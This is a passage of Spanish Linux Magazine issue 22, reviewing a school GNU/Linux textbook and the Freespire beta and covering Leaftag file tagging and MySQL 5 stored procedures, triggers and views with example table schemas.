nformática GNU/Linux” (atentos a la titulación canónica del volumen) es un juego de materiales (libros de texto y actividades, DVDs, recursos en línea, etc.) que pretende rellenar el vacío existente en lo que se refiere a materiales de enseñanza de la asignatura de informática para primaria y ESO. El volumen de Francisco Márquez y Juan Luis Moreno viene etiquetado para ESO, sin especificar ningún nivel en concreto dentro de la secundaria. Me confundió un poco que no fuese más específico, pero imagino que la falta de definición en los programas educativos no lo permitirá. A pesar de ello, en la misma colección sí se encuentran disponibles cuadernos de trabajo divididos por curso. El libro es voluminoso (288 páginas, formato 287 x 225 mm) y abarca todas las distros educativas, subrayando el hecho de que, a pesar de los cambios de denominación, las herramientas son comunes. El gran formato del tomo permite a los autores presentar la materia con abundantes capturas, diagramas, cuadros y textos, sin por ello sobrecargar cada página. Las explicaciones son claras y concisas, y el temario abordado abarca desde los conceptos más básicos de la informática (números binario, periféricos, etc.) hasta el uso de aplicaciones específicas comunes de GNU/Linux. El DVD trae las cinco principales distros utilizadas por las cinco comunidades que han incorporado GNU/Linux a su sistema educativo, a saber: LinEx de Extremadura, Guadalinex de Andalucía, Molinux de Castilla – La Mancha, Lliurex de la Comunidad Valenciana y MAX de la comunidad de Madrid.
Orientado a Programas Pero, volviendo al libro, a partir del capítulo 6 el enfoque se centra en aplicaciones concretas,
28
Número 22
con un especial hincapié en el paquete ofimático OpenOffice.org, que acapara 6 (largos) capítulos de un volumen de 14. Esto no es malo en sí, siendo como es OOo, el suite ofimático estándar de facto para Linux. No es malo, digo, si el volumen se titulara “Introducción a OpenOffice.org” o algo por el estilo. Pero , no, se llama “Informática GNU/ Linux”. No estoy rompiendo una lanza a favor de KOffice, Gnumeric y Abiword (aunque se lo merezcan), estoy rompiendo una lanza a favor de la enseñanza de la informática orientada a las tareas, en vez de a las aplicaciones. El orientar la enseñanza de la ofimática a aplicaciones concretas ha dado lugar a una generación de usuarios viciados y con una formación tan especializada, que son incapaces de adaptarse a nuevos entornos, aunque éstos varíen muy poco de los antiguos. Esto a su vez conlleva una tiranía de interfaces desfasados, donde se fosilizan paradigmas anti-intuitivos y poco usables sólo porque es a lo que el usuario está acostumbrado. Un enfoque a la tarea del tipo, “utiliza lo que quieras para ello, pero hazlo”, aunque hace que la curva de aprendizaje sea más empinada para el alumno al principio, finalmente desemboca en usuarios más autónomos, con una base más sólida y más dispuestos a asumir cambios. Por supuesto que existe el riesgo de fosilización de malos hábitos (también existe en el método orientado a aplicaciones. De hecho, es la culpable de la paupérrima formación de los usuarios finales actuales), pero para eso está el profesor: para aconsejar sobre aplicaciones más aptas para cada tarea o para corregir errores recurrentes antes de que se enquisten. Otra cosa que me disgustó, y no poco, fue la falta de cualquier referencia a la línea de comandos. Esto se está convirtiendo en
WWW.LINUX-MAGAZINE.ES
(mala) costumbre en este tipo de libros, y es una hipocresía: no se ignora un tema en cualquier otra asignatura porque puede disgustar al alumno, o, lo que es más probable, al profesor ¡Ignorar la línea de comandos es ignorar una buena parte de las herramientas más poderosas de Linux! Comprendo que para abarcar todo el potencial de los comandos de la shell exigiría (y de hecho, exige) varios volúmenes, pero si se enseña a un usuario como si fuera tonto, será un tonto y, evitar la línea de comandos es subestimar al alumno. A corregir en futuras ediciones: los ficheros de apoyo insertados por los autores están en formato ODT y, a excepción de GuadaLinex v3 y LinEx 2006, todas las distros del disco vienen con OpenOffice 1.1, versión incapaz de abrir este tipo de fichero. Otro problema menor es que todas las explicaciones dan por supuesto que uno tiene instalado Gnome, pero MAX, por defecto, instala KDE.
Conclusión “Informática GNU/Linux” es una obra muy a tener en cuenta por cualquier centro educativo que pretenda formalizar la asignatura para sus alumnos. Incluso creo que como manual para el auto-aprendizaje puede ser de gran ayuda para dar los primeros pasos en el uso de GNU/Linux como sistema de escritorio. El aspecto estético del volumen es mejorable, pero esto es sólo un defecto anecdótico si se le compara, a mi entender, con el erróneo enfoque que presupone que “enseñar informática es enseñar aplicaciones”, aunque bien pensado, tal vez sea injusto pedir que un libro cambie el planteamiento I de todo un sistema educativo.
Ficha Técnica Autor: Francisco Márquéz, Juan Luis Moreno Idioma: Castellano Formato: Tapa blanda, Gusanillo, 288 páginas Editorial: McGraw Hill ISBN: 84-481-4702-2 Precio: 25,50 euros
Freespire • EVALUACIÓN
Echamos un vistazo a la nueva distribución Freespire
DOBLE LIBRE Linspire ha publicado una nueva versión no comercial de su distro denominada Freespire. Hemos tomado la beta de Freespire para ponerla a prueba. POR MARTIN LOSCHWITZ
C
uando la primera versión de Linspire [1] llegó finalmente a las estanterías, esta distro de escritorio había sorteado algunos enormes obstáculos. Además del hecho de que Microsoft no estaba demasiado contenta con el nombre original “Lindows”, los creadores de Linspire tuvieron que admitir que no iban a ser capaces de alcanzar su objetivo original de recrear el aspecto y el comportamiento de Windows. Pero Linspire sobrevivió este lento comienzo y continúa alcanzando éxitos en su esfuerzo de proporcionar de Linux de una cuota cada vez mayor del mercado de usuarios finales. Linspire, que se centra en la facilidad de instalación y la facilidad de uso para los principiantes, proporciona componentes comerciales como drivers para las tarjetas gráficas ATI o Nvidia, así como otro software comercial, eliminando la necesidad de andar buscando los codecs de vídeo o audio para poder ver películas. De hecho, Linspire posee todos los principales codecs comerciales. El Click’n’Run Warehouse (CNR) es otra de las características principales de Linspire. Los usuarios pueden usar el front-end CNR para descargar e instalar software. Sin embargo, tendremos que registrarnos (gratis) antes de poder usar el CNR. Si decidimos actualizar nuestro estatus en CNR a “Gold” por unos 50 dólares, se nos facilitará el acceso a software adicional.
Linspire sorprendió recientemente a la comunidad linuxera al anunciar una nueva variante de su distribución bajo el nombre de Freespire. De acuerdo con las notas de prensa, Freespire será una distribución comunitaria que comprenderá sólo software libre, sin componentes comerciales. Esta táctica recuerda los pasos seguidos por otras distros como Suse o RedHat, que pusieron el desarrollo de una parte importante de sus sistemas en manos de la comunidad FOSS. Freespire está basada en Debian GNU/ Linux. Linspire ha hecho muchas promesas acerca de su nueva creación. “Freespire”, reza la página del proyecto [2], “es suficientemente potente para el usuario de Linux más sofisticado”. Después de todo, Linspire está compitiendo consigo mismo al producir una distro libre que recuerda mucho al producto principal, comercial, de la compañía. Los usuarios pueden descargar Freespire gratis. Compárese esto con el precio de Linspire: 49,95 dólares para la Standard Edition. ¿Qué puede ofrecer Freespire? ¿Se trata de Linspire intentando darle un empuje al CNR Warehouse? Con esto en mente, hemos decidido analizarlo muy detenidamente.
Instalación Podemos descargar una imagen de CD de la beta de Freespire desde el servidor de Frees-
WWW.LINUX- MAGAZINE.ES
pire en [3], o bien vía BitTorrent. El CD contiene unos 700 megabytes de información. Si tenemos una conexión de banda ancha, no deberíamos tener problemas para descargar el archivo y quemarlo en un CD. El menú CD Start ofrece al usuario un buen número de opciones. Además de la opción de instalar la distribución, podemos lanzar un sistema live, que puede ser útil para principiantes que quieran probar antes de dar el salto. El menú CD Start también nos permite cambiar el particionado de nuestro disco duro. La rutina de instalación da pocas opciones y guía al usuario por la configuración del sistema con mano firme. Tras la pantalla de bienvenida, el usuario puede elegir la disposición del teclado y luego optar a dedicar el disco duro entero a Freespire o lanzar la pulcra herramienta de particionado de disco (véase Figura 1). Desafortunadamente, la herramienta mostró cierta tendencia a colgarse en nuestro laboratorio, y también colgó al instalador, con lo que tuvimos que reiniciar y comenzar la instalación desde cero. Tras configurar el disco, los usuarios pueden introducir el nombre de host para el ordenador, sus propios nombres y su elección para los nombres de usuario, así como las contraseñas. Pulsamos Finish y Yes I’m sure en el siguiente cuadro de diálogo para iniciar la fase de copia de archivos de la instalación. Tras copiar los archivos a disco (dicho sea de paso, mientras ocurre esto, al usuario se le muestra un carrusel de “información” lleno de anuncios del CNR Warehouse), se nos pregunta por algunos valores de configuración del sistema. Podemos aceptar los valores por defecto en la mayoría de los casos. Por último, la rutina muestra un cuadro resumen con la opción de configurar una cuenta de usuario adicional, aunque no es obligatorio crear una
Tabla 1: Freespire Beta 2 Componente Kernel Glibc GCC X.org KDE OpenOffice Firefox
Versión 2.6.16.7 2.4 4.1.1 7.1 3.5.3 2.0.3 1.5.0.5
Número 22
29
EVALUACIÓN • Freespire
Figura 1: El instalador de Freespire ofrece al usuario principiante una útil herramienta para particionar el disco duro.
cuenta de usuario sin privilegios además de la cuenta de administrador. Si no configuramos una nueva cuenta, el primer usuario que se configuró adquiere privilegios de root automáticamente (aunque sudo añade una capa de abstracción). Esta configuración puede ser peligrosa, especialmente cuando navegamos por Internet, y Freespire merece una crítica por este enfoque.
Libre o No-Libre Tras iniciar sesión con el administrador gráfico con el tema diseñado para reflejar el aspecto de Freespire (véase Figura 2), se pone a nuestra disposición el tipo de sistema que estábamos esperando, uno muy parecido al del escritorio de Linspire. La diferencia más llamativa es el botón de inicio, que luce el logo azul de Freespire en
lugar del verde de Linspire. Freespire usa la versión 3.5.3 de KDE. La distribución tiene el conjunto habitual de aplicaciones para las tareas diarias: además de OpenOffice, el más bien espartano menú de KDE ofrece un Web Browser, que es un seudónimo de Firefox, el cliente KMail y el programa de mensajería instantánea Kopete. LSongs [4] actúa como sustituto de Amarok. Hablando en general, Freespire tiene la mayoría de las aplicaciones típicas de Linspire, incluyendo LPhoto [5]. El menú incluye RealPlayer “Gold”, lo que permite al usuario la posibilidad de iniciar vídeos albergados en páginas Web de manera automática. Freespire no tiene problemas con los formatos de vídeo: los archivos WMV y AVI están soportados, como lo están los MP3 y WMA. Todos ellos requieren codecs no libres, lo que confirma nuestras sospechas de que Freespire tiene una definición de “libre” un tanto relajada. Nos comenzamos a preguntar cómo de seria sería la afirmación de Linspire en su proclama acerca de desarrollar Freespire tomando como base sólo componentes libres. El proyecto defiende la inclusión de software no-libre bajo la afirmación de que desea dar al usuario la máxima capacidad de elegir, y esto incluye codecs, drivers y aplicaciones propietarias. Dicho lo cual, el CEO de Linspire, Keniv Carmony ha prometido una variante de Freespire sin un solo componente propietario para un futuro cercano.
Descargar Software con apt-get Es fácil darse cuenta de que Freespire está basado en Debian. Componentes como dpkg y apt-get están completamente soportados. Linspire anuncia que Freespire soporta la descarga sencilla de software basándose en aptget. Tenemos que ejecutar apt-get update en primer lugar para indicarle a apt-get que descargue un nuevo paquete de la lista del servidor de Freespire. Tras completar la descarga, es realmente fácil instalar software nuevo con el comando apt-get install package. La información se toma su tiempo en cruzar los cables, a velocidades de 140Kbps, que difícilmente hacen sudar a un DSL. No se entiende por qué Freespire no hace uso de mirrors. Los paquetes descargados por apt-get no vienen tal cual de los repositorios de Debian, sino que han sido especialmente modificados por Freespire. La distribución tiene una buena selección de paquetes. Además de los míni-
Figura 2: Login de Freespire Linux.
30
Número 22
WWW.LINUX- MAGAZINE.ES
Freespire • EVALUACIÓN
padeante esté allí sólo para que la gente se registre en el CNR. El CNR ofrece también la posibilidad de instalar software adicional. Con un solo clic instalaremos el Adobe Reader en nuestro sistema, por ejemplo (véase la Figura 3). Sin embargo, el CNR aún parece algo desorganizado. El programa nos ofrece instalar una versión antigua de Firefox, aunque este programa ya está instalado en nuestro sistema como Web Browser. Y, de nuevo, la velocidad de descarga del software de CNR no es nada convincente.
Conclusiones
Figura 3: El CNR Warehouse le da al usuario la capacidad de instalar software adicional con sólo señalar y pulsar. Las funcionalidades especiales están disponibles con un coste extra.
mos populares de Linux, se incluye a Gnome y Xfce como escritorios alternativos. Esto teóricamente ofrecería la posibilidad a los usuarios de remplazar el escritorio KDE por defecto con su escritorio favorito. Esta capacidad de instalar software vía apt-get hace definitivamente a Freespire mucho más flexible que su equivalente comercial Linspire.
Hablando de Drivers La distribución comercial Linspire instala automáticamente los drivers propietarios en los PC’s con tarjetas gráficas Nvidia o ATI, y habilita la aceleración 3D al mismo tiempo. Freespire no sigue la misma táctica. En su lugar, usa los drivers de Xorg, nv y ati. Esto no significa que los usuarios con hardware Nvidia o ATI tengan que renunciar. De hecho, podemos ejecutar apt-get en una consola para descargar fglrx-installer y los-kernel-extra (para ATI), o nvidiadriver-source, nvidia-driver-utils, y
Freespire RC1 Linspire publicó la Release Candidate 1 de Freespire poco después de la redacción de este artículo. Este lanzamiento no añadía cambios importantes en comparación con la Beta 2 que hemos comentado en este artículo. Sin embargo corregía un buen número de bugs y mejoraba la estabilidad, en especial con respecto a CNR.
los-kernel-extra (para Nvidia). Tras hacerlo, es muy fácil modificar la configuración de las X para usar los nuevos drivers, consiguiendo así gráficos acelerados para el servidor X. Podemos seguir el mismo método para instalar drivers de diversas tarjetas WLAN y de modems. Con algo de esfuerzo, podemos finalmente añadir soporte para componentes hardware que Linspire soporta directamente.
CNR Warehouse Justo después de que iniciemos sesión por primera vez, probablemente nos daremos cuenta de la existencia de un icono con una flecha azul que se mueve en la barra de KDE. Este icono es el del módulo de actualización CNR Warehouse, que nos está indicando que el CNR tiene software nuevo para nosotros. Si pulsamos el icono no se ejecuta el asistente de actualización como podríamos suponer. En su lugar, se muestra al usuario el front-end normal del CNR Warehouse y se le pide que se loguee. De hecho, será necesario que nos registremos en CNR (gratuitamente) antes de que podamos descargar alguna actualización. Tras registrarnos y loguearnos, encontramos otra sorpresa: en nuestras pruebas My Products en Available Updates no contenía ni una sola actualización, y el icono con la flecha azul desapareció cuando regresamos. Es difícil no sospechar de que el icono par-
WWW.LINUX- MAGAZINE.ES
Freespire Beta 2 nos deja impresiones encontradas. El sistema presenta una buena usabilidad, y se proporcionan las versiones actuales de los principales programas. La instalación es sencilla y difícilmente va a desconcertar ni a los novatos, y el escritorio es bastante intuitivo. Nos queda la pregunta de qué es lo que realmente está tratando Linspire de conseguir con Freespire. Después de todo, podemos recrear un Linspire con todas sus características a partir de Freespire, y el aspecto de los dos sistemas es similar hasta la confusión. Freespire ni siquiera se ha deshecho de la mayoría de los programas propietarios que incluye Linspire. En contraste con Debian y Ubuntu, Freespire puede poner de los nervios al usuario con sus constantes anuncios de CNR. Aparte del icono de CNR y la presencia por defecto de drivers comerciales y codecs, nuestro laboratorio no halló mayores diferencias entre Freespire y otros derivados de Debian. Es posible instalar estos codecs de vídeo propietarios en Debian o Ubuntu, y lo mismo puede aplicarse para los drivers de tarjetas gráficas y modems. En conjunto, Freespire carece de claro argumento de ventas: si has funcionado con Linspire hasta ahora, no hay ninguna I razón clara para probar Freespire.
RECURSOS [1] Linspire: http://www.linspire.com [2] Proyecto Freespire: http://www. freespire.org [3] Descarga de Freespire: http://wiki. freespire.org/index.php/ Download_Freespire [4] Lsongs: http://lsongs.com [5] Lphoto: http://lphoto.com
Número 22
31
mienta.
PRÁCTICO • Leaftag
Creamos metadatos con Leaftag
HOJA EN BLANCO El programa experimental Leaftag ofrece los medios para asociar archivos con categorías de búsquedas y otros metadatos. POR OLIVER FROMMEL
L
os sistemas de directorios jerárquicos son muy útiles para organizar archivos, pero sólo pueden ayudarnos hasta cierto punto. Si tenemos una colección de fotografías digitales, puede que queramos tener directorios que reflejen las categorías del contenido, como paisajes, tecnología o retratos. Los subdirectorios pueden ofrecer categorías más detalladas, como familia, amigos, trabajo y demás. Pero si tenemos una enorme y compleja colección, puede que aún así no seamos capaces de encontrar la imagen que estábamos buscando. Las técnicas de búsqueda basadas en metadatos proporcionan una mejor solución. Los usuarios pueden asociar palabras clave con los archivos para acelerar las búsquedas. Los metadatos proporcionan al usuario la capacidad de crear una estructura de organización que no descanse en el sistema de archivos. Un ejemplo de esta solución con metadatos es la herramienta de administración de imágenes de Gnome F-Spot, que usa un sistema de categorías [1] basado en etiquetas (véase la Figura 1). Además de la capacidad de ordenar las imágenes por la fecha de creación, el programa ordena también en función de la categoría. Desafortunadamente, estas funcionalidades de búsqueda sólo funcionan con la herramienta F-Spot, que ejecuta su propia base de datos. Por supuesto, sería más práctico si pudiéramos buscar metadatos con cualquier programa. Esta es la idea que tenían en mente los desarro-
32
Número 22
lladores de Leaftag cuando implementaron este sistema global de etiquetado con metadatos. Leaftag nos permite asociar etiquetas de metadatos a un archivo. La información se mantiene en una base de datos que soporta búsquedas basadas en categorías. El líder del proyecto Leaftag es Christian Hammond, que trabaja para Vmware. Parte del código de Leaftag específico para Gnome es obra de David Trowbridge.
Minuciosa Instalación Leaftag se encuentra en un estado relativamente inicial de desarrollo, aunque la funcionalidad de etiquetado funciona bien. La distribución de Leaftag incluye cuatro componentes: la librería Libleaftag en C, las Tagutils y los dos paquetes específicos de Gnome: Leaftag-Python y LeaftagGnome. No existen aún paquetes con binarios específicos para distribuciones, por lo que debemos estar preparados para experimentar y compilar el programa nosotros mismos. Leaftag no pide demasiado en cuanto a librerías actuales. No necesitamos una versión CVS ni nada por el estilo. Si queremos instalar el soporte de Leaftag
WWW.LINUX-MAGAZINE.ES
para Gnome, necesitamos al menos Gnome 2.12 con los paquetes de desarrollo. Tras descargar los cuatro paquetes de [2], el primer paso es compilar e instalar Libleaftag, ya que el resto de paquetes dependen de la librería. Compilar la librería es muy parecido a cualquier otro software de configuración manual. Comenzamos ejecutando el script configure. La librería guarda las etiquetas de categoría en una base de datos Sqlite, por lo que vamos a necesitar los paquetes de desarrollo de la versión 2 de Sqlite, ya que Sqlite 3 no es compatible con el API. Si ejecutamos Configure sin especificar ninguna opción, y luego make install para distribuirlos por el disco, es posible que queramos fijar la variable de entorno PKG_CONFIG_PATH para el resto de paquetes a /usr/local/lib/pkgconfig. Si no hacemos esto, los paquetes no podrán encontrar el archivo leaftag.pc, que copió el script en esta ubicación. Leaftag-Python requiere también los paquetes de desarrollo Python-Gtk. Son pygtk2-devel en Fedora 4/5, y python-gtk2-dev para Ubuntu. La tarea más compleja es resolver las dependencias de Leaftag-Gnome. Este componente requiere el Deskbar Applet [3], que está disponible en algunas distribuciones, pero generalmente no en las últimas versiones. De nuevo, esto significa descargar las fuentes y seguir el proceso de compilación, que a su vez requiere el paquete gnomepython2-applet para Fedora o pythongnome2-dev para Ubuntu. Tras instalar el Deskbar Applet, deberíamos ser capaces de compilar Leaftag-Gnome. Se necesitan algunos pasos más para integrarlo en la barra de Gnome. Si no especificamos un prefijo para el Configure, el applet se ubicará en /usr/local y será invisible al servidor Bonobo.
Leaftag • PRÁCTICO
Figura 1: F-Spot usa etiquetas para asociar categorías a fotos. Desafortunadamente, las etiquetas sólo están disponibles para la propia herramienta.
Podemos bien teclear la ruta directamente en el archivo de configuración, /etc/bonobo-activation/bonoboactivation-config.xml, o bien usar una aplicación para hacer este trabajo: bonobo-activation-sysconf U —add-directory=U /usr/local/lib/bonobo/servers
Para hacer que el applet sea visible en el menú de applets, tenemos que eliminar ciertos componentes y dejar que autoarranque: killall U bonobo-activation-server killall gnome-panel
El último componente es un conjunto de herramientas en línea de comando, las Tagutils, que no deberían causar mayor problema.
Etiquetar en Línea de Comandos El programa que etiqueta archivos con nuestras propias etiquetas de categorías se llama tagutils. Este programa soporta cinco comandos que se añaden a los nombres de los comandos: ls, tag, tagprop, tags y untag. Para crear una nueva etiqueta, sólo tenemos que etiquetar uno o más archivos con ella: tagutils familia imagen.jpg. En lugar de un archivo local, el usuario puede especificar URLs y etiquetar de esta manera recursos no locales. Para etiquetar un directorio completo, en lugar de un único archivo, tagutils tag tiene la opción -r. La combinación tagutils untag tag file elimina el nombre de la etiqueta. Por supuesto, podemos asignar más de una etiqueta a un archivo. Para ello, sólo tenemos
Figura 2: Leaftag está basado en la base de datos Sqlite. La información se ubica en $HOME/ .tags.db y contiene tres tablas.
que ejecutar el comando Tagutils con las etiquetas necesarias. Podemos crear, leer, modificar y borrar las propiedades de la etiqueta con tagutils tagprop. El propósito de estas propiedades de la etiqueta aún están poco claras, pero propiedades como description, hidden e image son una buena indicación de lo que esconde esta funcionalidad. Los programas que fijan etiquetas pueden usar las propiedades para mostrar las descripciones e imágenes de ciertas categorías u ocultar etiquetas concretas. tagutils tags nos da una lista de etiquetas que hemos usado. De momento no hay manera de borrarlas. La combinación tagutils ls tag muestra los archivos y URLs etiquetados con una etiqueta concreta.
Tras el Escenario En segundo plano, los archivos, etiquetas y asociaciones se administran con la base de datos Sqlite ($HOME/.tags.db), que contiene tres tablas (véase Figura 2). Las claves no son hashes ni nada similar, sino simples nombres de archivo. Este método no es precisamente muy robusto, si cambiamos el nombre de archivo o ruta, Tagutils perderá el rastro del archivo. El comando tagutils ls tag no muestra ningún mensaje de error, probablemente para evitar el desagradable mensaje “not found” en el front-end con interfaz gráfica. Tras mover un archivo etiquetado, si lo movemos de vuelta a su ubicación original, Tagutils lo encontrará de nuevo, sin que nada de esto haya tenido efecto alguno en la base de datos. Muchos usuarios han sugerido un método alternativo consistente en usar los atributos avanzados del sistema de archivos, pero esto provocaría una serie de problemas. Por un lado, las etiquetas ya no serían portables. Es
WWW.LINUX-MAGAZINE.ES
decir, se perderían si movemos archivos a otro ordenador. Por otro, los atributos avanzados son globales al sistema, mientras que los desarrolladores de Leaftag intentan implementar etiquetas específicas para el usuario desde el primer momento. Otra opción sería mostrar un desacuerdo en la ruta seguida por Leaftag, y bien modificar todas las utilidades del sistema, o el escritorio o las capas VFS del kernel, para permitir actualizaciones de la base de datos. Este es el método que ha seguido Apple con los recursos de los archivos en Mac OS X, aunque Apple no usa un repositorio centralizado y ha optado en su lugar por un método orientado a archivo que usa directorios ocultos. A pesar de los puntos débiles, Leaftag ha sido acogido con entusiasmo por varios proyectos de Gnome. Su arquitectura actual implica que los desarrolladores que quieran usar etiquetas tendrán que añadir el soporte para su código ellos mismos. David Trowbridge ha intentado añadir soporte para Leaftag en Gimmie, una especie de administrador de información personal para Gnome. Podemos ver el clip de demostración en [4]. Y el moderno administrador de memos Tomboy tiene soporte experimental para Leaftag [5].I
RECURSOS [1] F-Spot: http://f-spot.org [2] Leaftag: http://www.chipx86.com/wiki/ Leaftag [3] Deskbar applet: http://raphael.slinckx. net/deskbar [4] Leaftag y Gimmie: http://david.navi. cx/blog/?p=77 [5] Leaftag y Tomboy: http://www. helsinki.fi/~pakaste/blog/ tomboy_leaftag.html
Número 22
33
PRÁCTICO • MySQL 5
Procedimientos Almacenados, Disparadores y Vistas en MySQL 5
LA SECUELA Vamos a mostrar cómo algunas de las características nuevas de MySQL 5 mejorarán el diseño del software y aumentarán el rendimiento de las aplicaciones. POR LARKIN CUNNINGHAM
E
l sistema de gestión de base de datos de código abierto MySQL es utilizado en muchas de las empresas más punteras, como Yahoo y Ticketmaster. Además sirve de base de datos a multitud de proyectos de código abierto de la web como la Wikipedia. Sin embargo, muchas organizaciones empresariales han evitado tradicionalmente el uso de MySQL en favor de sistemas de gestión de bases de datos comerciales, como Oracle y DB2. En MySQL 5.0 [1], los desarrolladores de MySQL han empezado a introducir una serie de características que hacen de su motor un sistema más competitivo con los sistemas de bases de datos comerciales. Este artículo examina estas características, muchas de las cuales fueron presentadas en la versión 5.0, mientras que otras han sido mejoradas en la 5.1, versión que aún está en fase beta al tiempo de escribir este artículo pero que será oficial al tiempo de publicarse. He utilizado la versión 5.1.9-beta para probar los listados que aparecen aquí. Tres de las características nuevas más atractivas de MySQL 5.x son los procedimientos almacenados, los disparadores y las vistas. Estas características no son nuevas para la industria. Oracle, por ejemplo, presentó primero PL/SQL [2], su implementación de un lenguaje procedimental para SQL, en 1991. Sybase, PostgreSQL y DB2 están entre los otros sistemas de gestión de bases de datos que poseen un lenguaje procedimental para
34
Número 22
SQL. Sin embargo, los disparadores, las vistas y los procedimientos almacenados son características bien recibidas en MySQL. Hay que resaltar que algunas de estás funcionalidades están aún en una fase temprana de desarrollo. Muchas de ellas están o bien incompletas o no funcionan a todo rendimiento. La versión 5.1 presenta algunos problemas con ellas y no hay duda que en próximas versiones se mejorarán.
Un Escenario de Pedidos A lo largo de todo este artículo se va a hacer referencia a las tablas products (productos), order_headers (pedidos), order_lines (líneas de pedidos), stock_quantities (cantidades en stock) y customers (clientes) con propósito ilustrativo. El Listado 1 muestra las sentencias SQL create table que crean las tablas. Se hará referencia a estas tablas en los ejemplos que se van a dar de los procedimientos almacenados, de los disparadores y de las vistas.
Procedimientos Almacenados Antes de empezar a explicar qué son los procedimientos almacenados, voy a comentar que cuando se usa el término procedimiento almacenado, se hace referencia tanto a procedimientos almacenados como a funciones almacenadas. Un procedimiento almacenado acepta una entrada múltiple y parámetros de salida. Una función almacenada también acepta una entrada múltiple pero devuelve un
WWW.LINUX-MAGAZINE.ES
único valor. Esta restricción permite a las funciones almacenadas usarse dentro de las sentencias SQL, lo cual hace posible extender las capacidades de SQL de manera extensiva. Los procedimientos almacenados son una herramienta potente que ha de disponer todo desarrollador. Pueden ser de gran beneficio en términos de rendimiento y de diseño de la aplicación. En términos de rendimiento, es posible reducir bastante el tráfico de red realizando más procesamiento de datos en los confines de la base de datos. Reduciendo el tráfico de red se puede eliminar la latencia asociada con las comunicaciones del servidor de aplicaciones con el servidor de la base de datos, particularmente cuando se encuentran en servidores separados, como es el caso en la mayoría de las aplicaciones a gran escala. Con los procedimientos almacenados se puede adoptar una solución de caja negra al diseño e implementación de la aplicación. Un desarrollador programando en Java, PHP, Ruby o cualquier otro lenguaje con soporte para MySQL no tiene por qué tener un amplio conocimiento de SQL o PL/SQL. En un equipo de desarrollo de varios miembros, se pueden tener programadores de procedimientos almacenados concentrados en el desarrollo de procedimientos almacenados y programadores de Java, PHP o Ruby concentrados en sus lenguajes de programación particulares. Como cada programador es consciente de las entradas y de las salidas espera-
MySQL 5 • PRÁCTICO
das, ambos desarrolladores pueden trabajar en paralelo. Esto puede ser una buena manera de trabajo especializado si el proyecto es lo suficientemente grande como para garantizar los recursos de programación dedicada. La portabilidad se ve también mejorada al desarrollar parte de la lógica dentro de la propia base de datos. Sería posible, por ejemplo, desarrollar una aplicación por lotes en C, una aplicación web con Ruby on Rails y un servicio web en Java; utilizando todos estos sistemas los mismos procedimientos almacenados. El desarrollo de aplicaciones que utilizan una base de datos relacional se puede llevar a cabo tanto introduciendo todo el código SQL en la aplicación como poniéndolo en procedimientos almacenados y sólo llamar a estos procedimientos almacenados desde la aplicación. Muchos desarrolladores utilizan proyecciones objetosrelaciones como Hibernate [3] (para Java) y ActiveRecord [4] (para Ruby on Rails) cuando los procedimientos almacenados son irrelevantes. La decisión para adoptar una solución sobre cómo manejar el procesamiento de datos para una aplicación dependerá de factores como el rendimiento y la portabilidad. Si el rendimiento no es importante, se estará en posición de considerar un sistema de proyección objetos-relaciones que genere las instrucciones SQL al vuelo. Pero si se está interesado en obtener un buen rendimiento y se tienen niveles de servicios que demandan una cierta cantidad de transacciones por segundo o un tiempo de respuesta en un cierto número de milisegundos, se tendrán que investigar los beneficios de utilizar los procedimientos almacenados.
Si se está en un entorno heterogéneo con múltiples plataformas de desarrollo, el uso de procedimientos almacenados podría ser una forma de desarrollar la lógica del proceso de datos en una localización central. Después de todo, los procedimientos almacenados no se preocupan de los lenguajes de programación que los invocan.
Disparadores Los disparadores tienen múltiples usos, incluyendo trabajos domésticos como auditorías y archivado de históricos, aunque pueden tener muchos otros. Un escenario común es donde el disparador se lanza después de crearse una línea nueva, por ejemplo cuando una línea de pedido se añade a la tabla order_lines. Un disparador se puede lanzar después de que se inserte una fila para actualizar una cantidad de stock de un producto en la tabla stock_quantities. Cuando se requiere un histórico, se puede tener una tabla para los históricos para cada tabla donde se desee almacenar dicha información. Por ejemplo, la tabla products podría tener asociada una tabla products_archive con todas las columnas de la tabla de productos. Para archivar de forma automática, se pueden crear disparadores en la tabla de productos para insertar una fila en products_archive que se ejecute después de cada actualización o eliminación. No se crearía un disparador que se activase después de una inserción, porque para poder realizar una consulta sobre la historia completa de un determinado pro-
ducto, se puede obtener la unión de la fila de la tabla products y las filas asociadas en la tabla products_archive. La solución es similar cuando se requiere auditar. En vez de tener una tabla de histórico asociada donde se desea realizar el histórico, se tendrá una única tabla de auditoría. A las tablas a las que se les desea auditar su actividad, se les crearán disparadores que se ejecutarán después de cada operación de inserción, actualización o borrado. Estos disparadores deberían insertar una fila en la tabla de auditoría conteniendo la naturaleza de la acción, la tabla afectada, la marca de tiempo y cualquier dato clave que se considere apropiado. Esta solución que utiliza disparadores en la base de datos para realizar la auditoría y no en el código de la aplicación puede reducir el número de líneas a programar por los desarrolladores y al mismo tiempo conseguir mayor consistencia en un entorno en el que muchas aplicaciones pueden acceder a la misma base de datos. Hay diversas soluciones adecuadas para auditar que pueden ser empleadas en el código de la aplicación, así que cada caso tendrá que ser examinado en su contexto.
Sobre las Vistas Una vista es una tabla virtual generada desde una consulta almacenada. Una consulta almacenada a menudo es una consulta multijoin con ciertas condiciones incorporadas. Por simplicidad, se puede considerar como un subconjunto de una tabla grande. Un ejemplo trivial, usando la tabla products de nuevo, sería crear una vista llamada
Listado 1: El esquema de la base de datos para estos ejemplos 01 CREATE TABLE products ( 02 id MEDIUMINT NOT NULL AUTO_INCREMENT, 03 name CHAR(40) NOT NULL, 04 cost DOUBLE(9,2) UNSIGNED DEFAULT 0.0, 05 PRIMARY KEY (id) 06 ); 07 08 CREATE TABLE stock_quantities ( 09 id MEDIUMINT NOT NULL AUTO_INCREMENT, 10 product_id MEDIUMINT NOT NULL, 11 quantity MEDIUMINT NOT NULL DEFAULT 0, 12 PRIMARY KEY (id)
13 ); 14 15 CREATE TABLE order_headers ( 16 id MEDIUMINT NOT NULL AUTO_INCREMENT, 17 customer_id MEDIUMINT NOT NULL, 18 order_date DATETIME NOT NULL, 19 order_status CHAR(1) DEFAULT ‘O’, 20 PRIMARY KEY (id) 21 ); 22 23 CREATE TABLE order_lines ( 24 id MEDIUMINT NOT NULL AUTO_INCREMENT, 25 order_id MEDIUMINT NOT NULL,
WWW.LINUX-MAGAZINE.ES
